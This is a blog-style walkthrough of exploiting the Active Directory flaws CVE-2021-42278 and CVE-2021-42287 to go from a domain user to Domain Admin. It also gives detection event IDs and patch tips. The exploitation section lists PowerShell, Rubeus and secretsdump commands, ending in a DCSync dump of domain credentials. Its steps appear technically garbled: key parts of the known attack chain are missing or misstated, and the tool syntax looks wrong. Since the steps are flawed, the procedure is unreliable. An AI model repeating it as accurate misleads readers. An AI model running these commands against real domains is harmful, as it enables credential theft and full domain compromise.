345 words
2 minutes
Exploiting CVE-2021-42278 & CVE-2021-42287 – From User to Domain Admin

Table of Contents#

  1. Introduction
  2. Why is this Attack Important?
  3. Vulnerability Overview
  4. Lab Setup (Tools + Env)
  5. Step-by-Step Exploitation
  6. Detection & Blue Team View
  7. Patch & Mitigation Tips
  8. References + Final Thoughts

CVE-2021-42278 && CVE-2021-42287: From User to Domain Admin - Simulating#

In the world of advanced cyber attacks on Active Directory, several vulnerabilities continue to affect systems even after updates. One such critical vulnerability duo discovered in late 2021 were CVE-2021-42278 and CVE-2021-42287, allowing escalation from low-privileged user to Domain Admin using simple tools.

Why is this attack important?#

This attack is unique for several reasons:

  • No misconfigurations required: Relies solely on Active Directory vulnerabilities
  • Simplicity of exploitation: Easy escalation to Domain Admin with minimal effort

In this post, we’ll simulate this attack in a lab environment using these CVEs on unpatched systems.


Vulnerability Overview#

📌 CVE-2021-42278: SAMAccountName Spoofing#

Allows spoofing computer account names to appear as user accounts. Attackers can create fake computer objects with user-like sAMAccountName values.

📌 CVE-2021-42287: Kerberos Privilege Escalation#

Enables privilege escalation through Kerberos TGT manipulation, allowing Domain Controller impersonation and DCSync attacks.


Lab Setup (Tools + Env)#

ComponentDescription
OSWindows Server 2019 (unpatched, pre-Nov 2021)
ToolsMimikatz, Rubeus, Impacket, KrbRelayUp
User AccountLow-privileged user (amr.user@corp.local)
Domain ControllerUnpatched (pre-Nov 2021 patches)

Step-by-Step Exploitation#

Step 1: Login as a regular user#

Assume compromised credentials for low-privileged user amr.user@corp.local

Step 2: Rename Computer Object to User-Like Name#

Rename-ADObject "CN=WIN10-CLIENT,CN=Computers,DC=corp,DC=local" -NewName "amruser"

Step 3: Modify sAMAccountName#

Set-ADComputer -Identity "amruser" -SamAccountName "amruser"

Step 4: Request TGT for Spoofed Computer#

rubeus tgtdeleg /user:amruser$ /rc4:<ntlm_hash> /domain:corp.local

Step 5: Impersonate Domain Controller & DCSync#

secretsdump.py -k -no-pass CORP/amruser$@dc.corp.local

Step 6: Profit – Domain Admin Access#

Use dumped credentials to access privileged accounts.


Detection & Blue Team View#

Key Detection Points:

  • 🔍 Event ID 4741: Computer account creation
  • 🔍 Event ID 4781: SAMAccountName changes
  • 🔍 Kerberos TGT Anomalies
  • 🔍 Unusual DC impersonation attempts

Patch & Mitigation Tips#

  1. ✅ Apply November 2021 Security Updates
  2. ✅ Restrict Computer Object Modifications
  3. ✅ Monitor SAMAccountName Changes
  4. ✅ Implement Least Privilege Access

References + Final Thoughts#

Official Resources:

Tool References:

This attack chain demonstrates how inherent Active Directory vulnerabilities can enable full domain compromise without misconfigurations. Regular patching and strict monitoring are essential for AD security.

Exploiting CVE-2021-42278 & CVE-2021-42287 – From User to Domain Admin
https://bad-glitch.github.io/posts/active-directory/cve21-42278/cve-2021-42278/
Author
Amr Abdel Hamide
Published at
2025-04-19